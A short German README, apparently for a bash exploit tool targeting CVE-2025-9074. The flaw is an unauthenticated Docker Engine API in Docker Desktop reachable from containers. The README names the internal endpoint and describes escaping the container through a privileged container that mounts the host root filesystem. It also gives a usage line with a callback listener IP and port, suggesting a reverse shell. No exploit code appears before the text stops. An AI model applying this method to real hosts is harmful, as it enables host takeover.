Docker API Unauthenticated RCE (CVE-2025-9074)

Eine kritische Schwachstelle CVE-2025-9074 in Docker Desktop ermöglicht es lokal ausgeführten Linux-Containern, über das Standard-Subnetz (192.168.65.7:2375) eine Verbindung zur Docker Engine API herzustellen. Das Problem besteht unabhängig von Enhanced Container Isolation (ECI) oder TCP-Exposure-Einstellungen. Proof-of-Concept-Exploit-Code für CVE-2025-9074 ist öffentlich verfügbar. Die Schwachstelle kann einen unbefugten Zugriff auf Benutzerdateien des Hostsystems ermöglichen. Daher wird das Risiko als hoch eingestuft.

Ein eigenständiges Bash-Skript zur Ausnutzung exponierter Docker-APIs (typischerweise Port 2375) ohne Authentifizierung. Dieses Tool automatisiert den Container-Ausbruch durch Volume-Mounting und ermöglicht so die Fernausführung von Code.

Merkmale

• Keine Abhängigkeiten: Vollständig in Bash implementiert unter Verwendung von Standardwerkzeugen wie curl und grep. Keine externen Binärdateien oder Drittanbieter-Tools erforderlich.
• Unauthentifizierte Ausnutzung: Direkte Interaktion mit der Docker Engine API ohne Authentifizierung.
• Automatisierte Container-Erstellung: Erstellt und startet automatisch einen privilegierten Container.
• Host-Root-Zugriff: Mountet das Root-Dateisystem des Hosts, um einen Container-Ausbruch zu erreichen.
• Portabel: Funktioniert in minimalen Container-Umgebungen mit eingeschränkten Werkzeugen.

Verwendung

chmod +x exploit.sh
./exploit.sh [ZIEL_IP] [PORT] -l <listener_ip> -p <listener_port>

Proof of Concept